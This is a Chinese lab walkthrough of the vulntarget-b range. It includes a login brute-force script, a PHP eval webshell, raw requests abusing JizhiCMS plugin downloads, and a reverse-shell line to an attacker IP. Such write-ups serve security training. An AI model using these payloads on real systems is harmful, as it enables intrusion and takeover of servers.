vulntarget-b
简介
vulntarget 漏洞靶场系列(二)— vulntarget-b
靶场的网络拓扑
需要在虚拟网络编辑器中,定义两个虚拟网络
VMnet18 Host-only: 10.0.20.0/24
VMnet19 Host-only: 10.0.10.0/24
centos
这台虚拟机作为入口机,默认的网卡包含一张桥接模式的虚拟网卡,可以视实际情况进行修改
直接导入 3 个虚拟机即可,公众号写的是设计靶场的过程
建议按照 server2016
-> win10
-> centos
的顺序进行启动虚拟机
win10
这台靶机带有自动睡眠,需要注意
server2016 域控
- Domain: vulntarget.com
- Domain Username: administrator
- Domain Password: Admin@123
- Domain Username: win101
- Domain Password: admin#123
win10 域成员
- Local Username: win10
- Local Password: win10#123
- Local Administrator: administrator
- Local Admin-Password: admin@123
- Domain Username: vulntarget\win101
- Domain Password: admin#123
- Web-Pannel Username: admin
- Web-Pannel Password: Admin123
centos 入口机
- root/root
- vulntarget/root
server2016 域控 使用原有密码登陆的时候,会触发强制密码更改规则
我这边改为 zxc@123zxc
centos
虚拟机修复
因为我自己将网卡桥接改为 NAT 网卡,导致 centos
这台虚拟机的网络失效,需要进入系统手动修复网络
使用 root/root
登陆系统
nmcli connection show
ip address
可以看到,是 ens33
这个网卡的配置存在问题
nmcli connection show ens33
直接删除旧的配置文件
nmcli device status
nmcli connection delete ens33
写一个新的配置
nmcli connection add con-name ens33 \
type ethernet \
ifname ens33 \
ipv4.method auto
就可以正常进行攻击了
centos 侦察
直接使用 fscan
进行端口扫描
start infoscan
192.168.200.12:22 open
192.168.200.12:21 open
192.168.200.12:81 open
192.168.200.12:3306 open
192.168.200.12:80 open
192.168.200.12:888 open
192.168.200.12:8888 open
[*] alive ports len is: 7
start vulscan
[*] WebTitle http://192.168.200.12:8888 code:302 len:219 title:Redirecting... 跳转 url: http://192.168.200.12:8888/login
[*] WebTitle http://192.168.200.12 code:200 len:1326 title: 没有找到站点
[*] WebTitle http://192.168.200.12:888 code:403 len:548 title:403 Forbidden
[*] WebTitle http://192.168.200.12:8888/login code:200 len:802 title: 安全入口校验失败
[*] WebTitle http://192.168.200.12:81 code:200 len:14404 title: 极致 CMS 建站系统
[+] SSH 192.168.200.12:22:root root
已完成 7/7
[*] 扫描结束, 耗时: 12.949238938s
可以发现 3 个 HTTP 服务,先尝试目录扫描,得到以下有效结果
[20:57:21] 308 - 287B - /%2e%2e//google.com -> http://192.168.200.12:8888/../google.com
[20:58:13] 401 - 338B - /api/swagger/static/index.html
[20:58:20] 308 - 307B - /axis2-web//HappyAxis.jsp -> http://192.168.200.12:8888/axis2-web/HappyAxis.jsp
[20:58:20] 308 - 297B - /axis//happyaxis.jsp -> http://192.168.200.12:8888/axis/happyaxis.jsp
[20:58:20] 308 - 319B - /axis2//axis2-web/HappyAxis.jsp -> http://192.168.200.12:8888/axis2/axis2-web/HappyAxis.jsp
[20:58:22] 401 - 338B - /base/static/c
[20:58:30] 308 - 363B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -> http://192.168.200.12:8888/Citrix/AccessPlatform/auth/clientscripts/cookies.js
[20:58:33] 401 - 338B - /code
[20:58:55] 308 - 313B - /extjs/resources//charts.swf -> http://192.168.200.12:8888/extjs/resources/charts.swf
[20:58:55] 200 - 4KB - /favicon.ico
[20:59:20] 200 - 595B - /login
[20:59:58] 403 - 234B - /public
[21:00:04] 200 - 26B - /robots.txt
[21:00:19] 401 - 338B - /static/api/swagger.json
[21:00:19] 401 - 338B - /static/api/swagger.yaml
[21:00:19] 401 - 338B - /static/dump.sql
[21:00:27] 200 - 43KB - /tips
[21:00:39] 401 - 338B - /web/static/c
[20:57:56] 200 - 479B - /404.html
[20:57:59] 301 - 162B - /A -> http://192.168.200.12:81/A/
[20:58:06] 302 - 0B - /admin.php -> http://192.168.200.12:81/admin.php/Login/index.html
[20:58:39] 301 - 162B - /backup -> http://192.168.200.12:81/backup/
[20:58:39] 403 - 548B - /backup/
[20:58:45] 301 - 162B - /cache -> http://192.168.200.12:81/cache/
[20:58:45] 403 - 548B - /cache/
[20:59:11] 200 - 4KB - /favicon.ico
[20:59:24] 200 - 14KB - /index.php
[20:59:25] 200 - 917B - /index.html
[20:59:25] 200 - 0B - /index.php/login/
[20:59:26] 301 - 162B - /install -> http://192.168.200.12:81/install/
[20:59:26] 200 - 75B - /install/
[20:59:26] 200 - 75B - /install/index.php?upgrade/
[21:00:13] 403 - 548B - /Public/
[21:00:16] 200 - 22KB - /readme.txt
[21:00:18] 200 - 157B - /robots.txt
[21:00:26] 200 - 495B - /sitemap.xml
[21:00:30] 301 - 162B - /static -> http://192.168.200.12:81/static/
[21:00:47] 200 - 816B - /web.config
同时,直接访问 http://192.168.200.12:8888
可以看到
很明显是宝塔面板的管理入口
Web 192.168.200.12:81
侦察
后台登陆界面位于 http://192.168.200.12:81/admin.php/Login/index.html
尝试抓包进行重放,发现验证码是可以固定不变的
尝试使用用户名 admin
进行密码爆破
import requests
reqUrl = "http://192.168.200.12:81/admin.php/Login/index.html"
headersList = {
"Accept": "*/*",
"Cookie": "6bd36d3c4ffe7b8102c6b8e9787ec68b=b942a957-01b3-4b3d-b523-6a33430f1881.FgZCvCwFC_6Q9s5kTqizFq8f58A; PHPSESSID=bb3jftijfat5cr4vckgffneoap",
"Content-Type": "application/x-www-form-urlencoded",
}
payload = "cache=0.02202580841627977&username=admin&password={PASS}&vercode=865f"
flag_failed = r'{"code":1,"msg":"\u8d26\u6237\u5bc6\u7801\u9519\u8bef\uff01"}'
with open("./top1000.txt", "r") as f:
for i in f.read().strip().split("\n"):
print(i)
response = requests.request("POST", reqUrl, data=payload.format(PASS=i), headers=headersList)
if response.text != flag_failed:
print("*" * 10)
print(i)
exit()
得到用户密码为 admin123
成功登录后台
centos 极致 CMS 文件上传构建 webshell
根据指纹信息 极致 CMS 定位到以下漏洞信息
[代码审计] 极致 CMS1.9.5 存在文件上传漏洞_极致 cms 建站系统 漏洞 - CSDN 博客
构造恶意的 zip 文件
$ cat shell.php
<?php @eval($_POST['shell']) ?>
$ zip -9 shell.zip shell.php
adding: shell.php (stored 0%)
未知原因,导致我环境的在线插件无法正常工作,直接手动触发下载功能
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.200.12:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.200.12:81/admin.php/Index/index.html
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=m4al43lu13klt51giool3jnt64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
action=start-download&filepath=dbrestor&download_url=http%3A%2F%2F192.168.200.129%3A8080%2Fshell%2Ezip
文件成功下载之后,查看文件体积
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.200.12:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.200.12:81/admin.php/Index/index.html
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=m4al43lu13klt51giool3jnt64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
action=get-file-size&filepath=dbrestor&download_url=http%3A%2F%2F192.168.200.129%3A8080%2Fshell%2Ezip
触发解压
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.200.12:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.200.12:81/admin.php/Index/index.html
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=m4al43lu13klt51giool3jnt64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
action=file-upzip&filepath=dbrestor&download_url=http%3A%2F%2F192.168.200.129%3A8080%2Fshell%2Ezip&filesize=200
尝试访问上传的 webshell 文件
成功连接
centos webshell 绕过 disable_functions
使用插件查看 disable_functions
直接执行 Bypass disable_functions
首先,写入一个 /www/wwwroot/jizhi/shell.sh
/bin/sh -i >& /dev/tcp/192.168.200.129/3000 0>&1